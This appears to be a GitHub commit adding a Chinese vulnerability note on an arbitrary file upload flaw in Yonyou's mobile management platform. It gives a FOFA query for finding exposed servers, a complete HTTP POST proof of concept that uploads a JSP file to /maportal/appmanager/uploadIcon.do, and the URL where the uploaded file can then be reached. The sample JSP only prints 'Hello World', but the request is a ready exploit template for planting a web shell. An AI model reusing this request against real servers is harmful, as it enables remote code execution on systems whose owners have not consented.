-
Notifications
You must be signed in to change notification settings - Fork 70
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Create 用友移动管理平台uploadIcon任意文件上传漏洞.md
- Loading branch information
Showing
1 changed file
with
37 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,37 @@ | ||
## 用友移动管理平台uploadIcon任意文件上传漏洞 | ||
|
||
## fofa | ||
``` | ||
app="用友-移动系统管理" | ||
``` | ||
|
||
## poc | ||
``` | ||
POST /maportal/appmanager/uploadIcon.do HTTP/2 | ||
Host: | ||
Pragma: no-cache | ||
Cache-Control: no-cache | ||
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120" | ||
Sec-Ch-Ua-Mobile: ?0 | ||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 | ||
Sec-Ch-Ua-Platform: "macOS" | ||
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 | ||
Sec-Fetch-Site: same-origin | ||
Sec-Fetch-Mode: no-cors | ||
Sec-Fetch-Dest: image | ||
Accept-Encoding: gzip, deflate, br | ||
Accept-Language: zh-CN,zh;q=0.9 | ||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryh1ZETbVA73oQbnyE | ||
Content-Length: 193 | ||
------WebKitFormBoundaryh1ZETbVA73oQbnyE | ||
Content-Disposition: form-data; name="iconFile";filename="123.jsp" | ||
<% | ||
out.println("Hello World"); | ||
%> | ||
------WebKitFormBoundaryh1ZETbVA73oQbnyE-- | ||
``` | ||
|
||
## 文件路径 | ||
http://ip/maupload/img/123.jsp |